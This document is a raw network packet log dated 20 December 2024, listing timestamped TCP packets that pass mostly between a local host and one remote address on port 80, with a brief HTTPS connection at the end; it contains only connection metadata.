Dec 20, 2024 09:12:50.478380919 CET	49874	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:50.478415966 CET	80	49874	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:50.478512049 CET	49874	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:50.479291916 CET	80	49874	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:50.479343891 CET	49874	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:50.479458094 CET	80	49874	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:50.479505062 CET	49874	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:50.480216980 CET	80	49874	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:50.480278015 CET	49874	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:50.480341911 CET	80	49874	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:50.480386972 CET	49874	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:50.481245041 CET	80	49874	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:50.481304884 CET	49874	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:50.481334925 CET	80	49874	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:50.481429100 CET	49874	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:50.482137918 CET	80	49874	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:50.482239008 CET	80	49874	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:50.482302904 CET	49874	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:50.483125925 CET	80	49874	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:50.483190060 CET	80	49874	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:50.483259916 CET	49874	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:50.484112978 CET	80	49874	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:50.484149933 CET	80	49874	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:50.484174013 CET	49874	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:50.484194040 CET	49874	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:50.485023975 CET	80	49874	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:50.485081911 CET	49874	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:50.485203981 CET	80	49874	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:50.485254049 CET	49874	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:50.485949039 CET	80	49874	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:50.486002922 CET	49874	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:50.486043930 CET	80	49874	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:50.486092091 CET	49874	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:50.486895084 CET	80	49874	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:50.486953020 CET	49874	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:50.486967087 CET	80	49874	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:50.487870932 CET	80	49874	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:50.487935066 CET	49874	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:50.487943888 CET	80	49874	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:50.487991095 CET	49874	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:50.488787889 CET	80	49874	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:50.488842010 CET	49874	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:50.488924026 CET	80	49874	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:50.489021063 CET	49874	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:50.489739895 CET	80	49874	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:50.489801884 CET	49874	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:50.489855051 CET	80	49874	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:50.489903927 CET	49874	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:50.490679979 CET	80	49874	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:50.490735054 CET	49874	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:50.490806103 CET	80	49874	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:50.490854025 CET	49874	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:50.491635084 CET	80	49874	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:50.491750956 CET	80	49874	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:50.491806030 CET	49874	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:50.492607117 CET	80	49874	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:50.492656946 CET	49874	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:50.492721081 CET	80	49874	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:50.492770910 CET	49874	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:50.493546963 CET	80	49874	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:50.493608952 CET	49874	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:50.493654013 CET	80	49874	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:50.493697882 CET	49874	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:50.494484901 CET	80	49874	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:50.494540930 CET	49874	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:50.494606018 CET	80	49874	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:50.494656086 CET	49874	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:50.495476007 CET	80	49874	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:50.495593071 CET	80	49874	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:50.495656967 CET	49874	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:50.496392965 CET	80	49874	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:50.496459007 CET	49874	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:50.496505976 CET	80	49874	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:50.496556997 CET	49874	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:50.497359037 CET	80	49874	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:50.497407913 CET	49874	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:50.497412920 CET	80	49874	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:50.497457981 CET	49874	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:50.498507977 CET	80	49874	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:50.498564959 CET	49874	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:50.498646975 CET	80	49874	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:50.498697042 CET	49874	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:50.499361038 CET	80	49874	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:50.499496937 CET	80	49874	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:50.499547958 CET	49874	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:50.500200987 CET	80	49874	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:50.500257969 CET	49874	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:50.500324011 CET	80	49874	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:50.500371933 CET	49874	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:50.501163006 CET	80	49874	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:50.501224995 CET	49874	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:50.501249075 CET	80	49874	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:50.501302958 CET	49874	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:50.502099991 CET	80	49874	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:50.502156019 CET	49874	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:50.502214909 CET	80	49874	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:50.502264023 CET	49874	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:50.503055096 CET	80	49874	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:50.503161907 CET	80	49874	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:50.503225088 CET	49874	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:50.504000902 CET	80	49874	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:50.504055977 CET	49874	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:50.504122019 CET	80	49874	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:50.504173040 CET	49874	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:50.504971981 CET	80	49874	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:50.505028963 CET	49874	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:50.505085945 CET	80	49874	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:50.505141020 CET	49874	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:50.505914927 CET	80	49874	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:50.506028891 CET	80	49874	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:50.506057024 CET	49874	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:50.506103992 CET	49874	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:50.506861925 CET	80	49874	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:50.506918907 CET	49874	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:50.506983995 CET	80	49874	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:50.507060051 CET	49874	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:50.507875919 CET	80	49874	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:50.507931948 CET	49874	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:50.507949114 CET	80	49874	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:50.508094072 CET	49874	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:50.508764029 CET	80	49874	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:50.509073973 CET	49874	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:50.650816917 CET	80	49874	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:50.650876999 CET	80	49874	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:50.650877953 CET	49874	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:50.650928020 CET	49874	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:50.651279926 CET	80	49874	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:50.651335955 CET	49874	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:50.651457071 CET	80	49874	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:50.651509047 CET	49874	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:50.652209044 CET	80	49874	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:50.652264118 CET	49874	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:50.652324915 CET	80	49874	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:50.652370930 CET	49874	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:50.653166056 CET	80	49874	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:50.653230906 CET	49874	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:50.653276920 CET	80	49874	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:50.653470993 CET	49874	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:50.654130936 CET	80	49874	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:50.654203892 CET	49874	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:50.654221058 CET	80	49874	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:50.654267073 CET	49874	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:50.655119896 CET	80	49874	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:50.655172110 CET	49874	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:50.655237913 CET	80	49874	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:50.655288935 CET	49874	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:50.656025887 CET	80	49874	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:50.656080008 CET	49874	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:50.656095982 CET	80	49874	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:50.656145096 CET	49874	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:50.656961918 CET	80	49874	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:50.657011986 CET	49874	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:50.657085896 CET	80	49874	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:50.657135010 CET	49874	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:50.657917976 CET	80	49874	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:50.657972097 CET	49874	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:50.658026934 CET	80	49874	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:50.658077002 CET	49874	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:50.658883095 CET	80	49874	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:50.658934116 CET	49874	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:50.658993959 CET	80	49874	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:50.659043074 CET	49874	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:50.659852982 CET	80	49874	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:50.659904957 CET	49874	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:50.660044909 CET	80	49874	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:50.660093069 CET	49874	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:50.660779953 CET	80	49874	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:50.660831928 CET	49874	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:50.660872936 CET	80	49874	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:50.660923004 CET	49874	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:50.661736012 CET	80	49874	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:50.661787033 CET	49874	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:50.661864996 CET	80	49874	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:50.661915064 CET	49874	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:50.662705898 CET	80	49874	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:50.662759066 CET	49874	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:50.662813902 CET	80	49874	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:50.662864923 CET	49874	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:50.663635969 CET	80	49874	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:50.663686037 CET	49874	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:50.663691044 CET	80	49874	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:50.663734913 CET	49874	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:50.664644957 CET	80	49874	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:50.664695024 CET	49874	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:50.664705992 CET	80	49874	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:50.664752960 CET	49874	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:50.665525913 CET	80	49874	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:50.665575981 CET	49874	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:50.665641069 CET	80	49874	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:50.665692091 CET	49874	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:50.666491032 CET	80	49874	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:50.666541100 CET	49874	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:50.666620970 CET	80	49874	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:50.666670084 CET	49874	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:50.667479038 CET	80	49874	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:50.667531013 CET	49874	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:50.667531013 CET	80	49874	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:50.667582989 CET	49874	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:50.668427944 CET	80	49874	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:50.668477058 CET	49874	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:50.668543100 CET	80	49874	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:50.668591022 CET	49874	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:50.669322014 CET	80	49874	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:50.669372082 CET	49874	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:50.669450045 CET	80	49874	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:50.669500113 CET	49874	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:50.670312881 CET	80	49874	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:50.670409918 CET	49874	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:50.670422077 CET	80	49874	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:50.670484066 CET	49874	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:50.671246052 CET	80	49874	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:50.671295881 CET	49874	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:50.671380043 CET	80	49874	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:50.671430111 CET	49874	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:50.672239065 CET	80	49874	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:50.672290087 CET	49874	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:50.672360897 CET	80	49874	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:50.672410965 CET	49874	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:50.673157930 CET	80	49874	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:50.673207998 CET	49874	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:50.673273087 CET	80	49874	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:50.673321009 CET	49874	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:50.674169064 CET	80	49874	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:50.674220085 CET	49874	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:50.674355984 CET	80	49874	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:50.674406052 CET	49874	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:50.675038099 CET	80	49874	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:50.675087929 CET	49874	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:50.675151110 CET	80	49874	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:50.675199032 CET	49874	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:50.675997019 CET	80	49874	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:50.676047087 CET	49874	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:50.676126003 CET	80	49874	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:50.676172972 CET	49874	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:50.676961899 CET	80	49874	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:50.677012920 CET	49874	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:50.677077055 CET	80	49874	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:50.677125931 CET	49874	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:50.677900076 CET	80	49874	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:50.677956104 CET	49874	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:50.678005934 CET	80	49874	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:50.678071976 CET	49874	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:50.678910017 CET	80	49874	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:50.678961039 CET	49874	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:50.678997993 CET	80	49874	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:50.679150105 CET	49874	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:50.679838896 CET	80	49874	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:50.679898977 CET	49874	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:50.679980040 CET	80	49874	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:50.680032015 CET	49874	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:50.680804968 CET	80	49874	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:50.680931091 CET	80	49874	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:50.680989027 CET	49874	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:50.681685925 CET	80	49874	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:50.681739092 CET	49874	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:50.681792974 CET	80	49874	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:50.681863070 CET	49874	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:50.682666063 CET	80	49874	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:50.682718039 CET	49874	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:50.682782888 CET	80	49874	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:50.682918072 CET	49874	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:50.683598042 CET	80	49874	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:50.683657885 CET	49874	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:50.683723927 CET	80	49874	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:50.683772087 CET	49874	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:50.684544086 CET	80	49874	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:50.684602976 CET	49874	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:50.684823036 CET	80	49874	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:50.684875011 CET	49874	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:50.685494900 CET	80	49874	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:50.685543060 CET	49874	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:50.685651064 CET	80	49874	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:50.685708046 CET	49874	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:50.686471939 CET	80	49874	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:50.686611891 CET	80	49874	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:50.686675072 CET	49874	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:50.687424898 CET	80	49874	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:50.687484980 CET	49874	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:50.687546015 CET	80	49874	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:50.687607050 CET	49874	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:50.688374043 CET	80	49874	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:50.688427925 CET	49874	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:50.688478947 CET	80	49874	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:50.688556910 CET	49874	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:50.689326048 CET	80	49874	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:50.689379930 CET	80	49874	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:50.689438105 CET	49874	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:50.690267086 CET	80	49874	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:50.690320969 CET	49874	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:50.690399885 CET	80	49874	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:50.690506935 CET	49874	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:50.691220045 CET	80	49874	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:50.691271067 CET	49874	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:50.691365957 CET	80	49874	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:50.691551924 CET	49874	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:50.692174911 CET	80	49874	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:50.692243099 CET	49874	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:50.692293882 CET	80	49874	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:50.692430019 CET	49874	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:50.693135977 CET	80	49874	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:50.693186998 CET	49874	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:50.693190098 CET	80	49874	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:50.693239927 CET	49874	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:50.694061995 CET	80	49874	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:50.694114923 CET	49874	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:50.694211960 CET	80	49874	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:50.694262981 CET	49874	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:50.695019007 CET	80	49874	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:50.695080042 CET	49874	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:50.695142984 CET	80	49874	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:50.695216894 CET	49874	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:50.695985079 CET	80	49874	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:50.696036100 CET	49874	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:50.696103096 CET	80	49874	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:50.696161032 CET	49874	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:50.696917057 CET	80	49874	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:50.696969986 CET	49874	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:50.697026014 CET	80	49874	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:50.697076082 CET	49874	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:50.697866917 CET	80	49874	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:50.697921991 CET	49874	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:50.697983980 CET	80	49874	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:50.698034048 CET	49874	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:50.698813915 CET	80	49874	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:50.698863983 CET	49874	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:50.698942900 CET	80	49874	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:50.698998928 CET	49874	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:50.699784040 CET	80	49874	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:50.699835062 CET	49874	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:50.699898005 CET	80	49874	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:50.699953079 CET	49874	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:50.700695992 CET	80	49874	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:50.700792074 CET	49874	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:50.747298956 CET	49880	443	192.168.2.4	20.233.83.145
Dec 20, 2024 09:12:50.747353077 CET	443	49880	20.233.83.145	192.168.2.4
Dec 20, 2024 09:12:50.747562885 CET	49880	443	192.168.2.4	20.233.83.145
Dec 20, 2024 09:12:50.787039995 CET	49880	443	192.168.2.4	20.233.83.145
Dec 20, 2024 09:12:50.787054062 CET	443	49880	20.233.83.145	192.168.2.4
Dec 20, 2024 09:12:50.842787981 CET	80	49874	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:50.842840910 CET	49874	80	192.168.2.4	31.41.244.11
